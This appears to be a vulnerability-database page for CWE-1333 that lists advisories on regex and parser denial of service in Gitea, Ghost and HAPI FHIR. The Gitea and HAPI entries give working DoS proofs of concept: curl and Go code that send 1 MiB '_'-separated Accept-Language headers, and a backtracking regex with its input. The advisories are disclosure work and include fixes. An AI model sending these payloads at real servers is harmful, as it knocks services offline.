Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

908 vulnerabilities reference this CWE, most recent first.

GHSA-FW57-JGCH-PGF3

Vulnerability from github – Published: 2026-07-21 21:15 – Updated: 2026-07-21 21:15
VLAI
Summary
Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
Details

Summary

The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:

  • the official gitea/gitea:1.22.6 docker image (E2E below)
  • main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
    tag := translation.Match(tags...)
    lang = tag.String()
}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:

  1. The request enters Locale(resp, req).
  2. req.URL.Query().Get("lang") returns "" (attacker omits lang).
  3. req.Cookie("lang") returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).
  4. req.Header.Get("Accept-Language") returns the full attacker-supplied header value.
  5. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:

docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms

--- measurements (single request each) ---
  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms
  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms
  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms
  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s
  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s
  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 1 - 7 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 26 ms
1 MiB _ separators (guard bypassed) 1 MiB 1.7 - 2.2 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.

Impact

  • One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
  • Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 {
    al := req.Header.Get("Accept-Language")
    if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        al = ""
    }
    tags, _, _ := language.ParseAcceptLanguage(al)
    tag := translation.Match(tags...)
    lang = tag.String()
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:15:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser\u0027s internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n  `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n  on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from \u0027Accept-Language\u0027.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N\u00b2) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n   fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n   header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner\u0027s `len \u003c= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  \u0027_\u0027=%d  \u0027-\u0027=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack (\u0027_\u0027 x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n  warm-up (no header)              header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=18.079666ms\n\n--- measurements (single request each) ---\n  baseline (no header)             header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=6.480333ms\n  baseline (1 short tag)           header=5 B  \u0027_\u0027=0  \u0027-\u0027=1  status=200  t=5.0455ms\n  guard-fires control (\u0027-\u0027 x 1MiB) header=1048572 B  \u0027_\u0027=0  \u0027-\u0027=104857  status=200  t=26.020625ms\n  attack (\u0027_\u0027 x 1MiB)              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=2.159538333s\n  attack repeat 2                  header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.938493583s\n  attack repeat 3                  header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.679953042s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 1 - 7 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n  MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n  10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n  abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n  common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n    al := req.Header.Get(\"Accept-Language\")\n    if strings.Count(al, \"-\")+strings.Count(al, \"_\") \u003e maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        al = \"\"\n    }\n    tags, _, _ := language.ParseAcceptLanguage(al)\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-fw57-jgch-pgf3",
  "modified": "2026-07-21T21:15:47Z",
  "published": "2026-07-21T21:15:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
}

GHSA-FWH9-QG68-VXP4

Vulnerability from github – Published: 2026-10-07 20:42 – Updated: 2026-10-07 20:42
VLAI
Summary
Ghost: Regular Expression Denial of Service in Content Import
Details

Impact

A crafted content import file could cause excessive CPU usage, making the Ghost server unresponsive. Exploiting this requires Administrator access.

Vulnerable versions

This vulnerability is present in Ghost from v4.0.0 up to v6.65.0.

Patches

v6.67.0 contains a fix for this issue.

How to update

For self-hosters using Docker, find Docker's official Ghost image here. Updating a Docker-based Ghost instance is documented here.

If your Ghost is a Ghost-CLI install see our documentation on updating it to the latest version here.

References

Ghost thanks ka3n1x for disclosing this vulnerability responsibly.

For more information

If you have any questions or comments about this advisory, email us at security@ghost.org.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ghost"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "6.67.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:42:53Z",
    "nvd_published_at": "2026-10-05T19:17:19Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA crafted content import file could cause excessive CPU usage, making the Ghost server unresponsive. Exploiting this requires Administrator access.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v4.0.0 up to v6.65.0.\n\n### Patches\n\nv6.67.0 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker\u0027s official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost). \n\nIf your Ghost is a Ghost-CLI install see our documentation on [updating it to the latest version here](https://docs.ghost.org/update). \n\n### References\n\nGhost thanks [ka3n1x](https://github.com/ka3n1x) for disclosing this vulnerability responsibly.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at [security@ghost.org](mailto:security@ghost.org).",
  "id": "GHSA-fwh9-qg68-vxp4",
  "modified": "2026-10-07T20:42:53Z",
  "published": "2026-10-07T20:42:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-fwh9-qg68-vxp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105646"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/pull/31058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/commit/88ae6d6d56f8a239cb38a8c89de02f034f50e2ce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TryGhost/Ghost"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/releases/tag/v6.66.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ghost: Regular Expression Denial of Service in Content Import"
}

GHSA-FXJ4-P9XP-37V5

Vulnerability from github – Published: 2026-06-17 18:47 – Updated: 2026-06-17 18:47
VLAI
Summary
HAPI FHIR: Incomplete fix for CVE-2026-45367: DSTU2 FHIRPathEngine.matches() missing RegexTimeout protection allows ReDoS
Details

Summary

The fix for CVE-2026-45367 added RegexTimeout protection to the matches() function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In org.hl7.fhir.dstu2, replaceMatches() was updated while matches() at line 2462 still calls the raw String.matches(sw) without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.

Details

Incomplete patch

Within the same file (org.hl7.fhir.dstu2/utils/FHIRPathEngine.java), the two functions were patched inconsistently:

Line 2226 — replaceMatches() — PATCHED:

result.add(new StringType(
    RegexTimeout.replaceAll(
        convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));

Line 2462 — matches() — NOT PATCHED:

result.add(new BooleanType(
    convertToString(focus.get(0)).matches(sw)));
// ↑ raw String.matches() — no RegexTimeout, no complexity check

DSTU3 line 2447 — matches() — PATCHED (for comparison):

result.add(new BooleanType(
    RegexTimeout.matches(st, sw, regexTimeoutMillis)));

Module-by-module status

Module matches() replaceMatches()
DSTU2 ❌ raw str.matches(sw) ✅ RegexTimeout.replaceAll()
DSTU2016MAY ✅ RegexTimeout.matches() ✅
DSTU3 ✅ RegexTimeout.matches() ✅
R4 ✅ RegexTimeout.matches() ✅
R4B ✅ RegexTimeout.matches() ✅
R5 ✅ RegexTimeout.matches() ✅

PoC

Requirements: Java 17+, Maven 3.8+

pom.xml dependencies:

<dependency>
    <groupId>ca.uhn.hapi.fhir</groupId>
    <artifactId>org.hl7.fhir.utilities</artifactId>
    <version>6.9.7</version>
</dependency>

Test code (reproduces the exact behaviour of DSTU2 line 2462):

import org.hl7.fhir.utilities.regex.RegexTimeout;
import java.util.concurrent.*;

String regex = "((a|b){0,5}){20}";
String input = "a".repeat(25) + "c";    // no match → full backtracking

// ① Patched approach — RegexTimeout terminates at 500 ms
long t1 = System.currentTimeMillis();
try {
    RegexTimeout.matches(input, regex, 500);
} catch (TimeoutException e) {
    System.out.println("RegexTimeout blocked in " +
        (System.currentTimeMillis() - t1) + " ms");
}

// ② DSTU2 line 2462 — raw String.matches(), no timeout
long t2 = System.currentTimeMillis();
input.matches(regex);                   // equivalent to what FHIRPathEngine does
System.out.println("str.matches() ran for " +
    (System.currentTimeMillis() - t2) + " ms with no timeout");

Verified output (JDK 25.0.3, Linux):

RegexTimeout blocked in 508 ms      ← patched modules: attack stopped
str.matches() ran for 1410 ms       ← DSTU2: no timeout, CPU exhausted

The patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2 code runs for 1410 ms on this input with no mechanism to stop it. Longer inputs or more complex patterns produce proportionally worse results.

Impact

Vulnerability type: Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.

Who is impacted: Any application using the ca.uhn.hapi.fhir:org.hl7.fhir.dstu2 module that evaluates user-supplied FHIRPath expressions — including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding FHIRPathEngine from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose matches() argument contains a catastrophically backtracking regular expression.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.convertors"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:47:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe fix for CVE-2026-45367 added `RegexTimeout` protection to the `matches()` function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In `org.hl7.fhir.dstu2`, `replaceMatches()` was updated while `matches()` at line 2462 still calls the raw `String.matches(sw)` without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.\n\n\n## Details\n### Incomplete patch\n\nWithin the same file\n(`org.hl7.fhir.dstu2/utils/FHIRPathEngine.java`), the two functions were\npatched inconsistently:\n\n**Line 2226 \u2014 replaceMatches() \u2014 PATCHED:**\n```java\nresult.add(new StringType(\n    RegexTimeout.replaceAll(\n        convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));\n```\n\n**Line 2462 \u2014 matches() \u2014 NOT PATCHED:**\n```java\nresult.add(new BooleanType(\n    convertToString(focus.get(0)).matches(sw)));\n// \u2191 raw String.matches() \u2014 no RegexTimeout, no complexity check\n```\n\n**DSTU3 line 2447 \u2014 matches() \u2014 PATCHED (for comparison):**\n```java\nresult.add(new BooleanType(\n    RegexTimeout.matches(st, sw, regexTimeoutMillis)));\n```\n\n### Module-by-module status\n\n| Module | `matches()` | `replaceMatches()` |\n|---|---|---|\n| **DSTU2** | \u274c raw `str.matches(sw)` | \u2705 `RegexTimeout.replaceAll()` |\n| DSTU2016MAY | \u2705 `RegexTimeout.matches()` | \u2705 |\n| DSTU3 | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R4 | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R4B | \u2705 `RegexTimeout.matches()` | \u2705 |\n| R5 | \u2705 `RegexTimeout.matches()` | \u2705 |\n\n\n## PoC\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependencies:**\n```xml\n\u003cdependency\u003e\n    \u003cgroupId\u003eca.uhn.hapi.fhir\u003c/groupId\u003e\n    \u003cartifactId\u003eorg.hl7.fhir.utilities\u003c/artifactId\u003e\n    \u003cversion\u003e6.9.7\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Test code (reproduces the exact behaviour of DSTU2 line 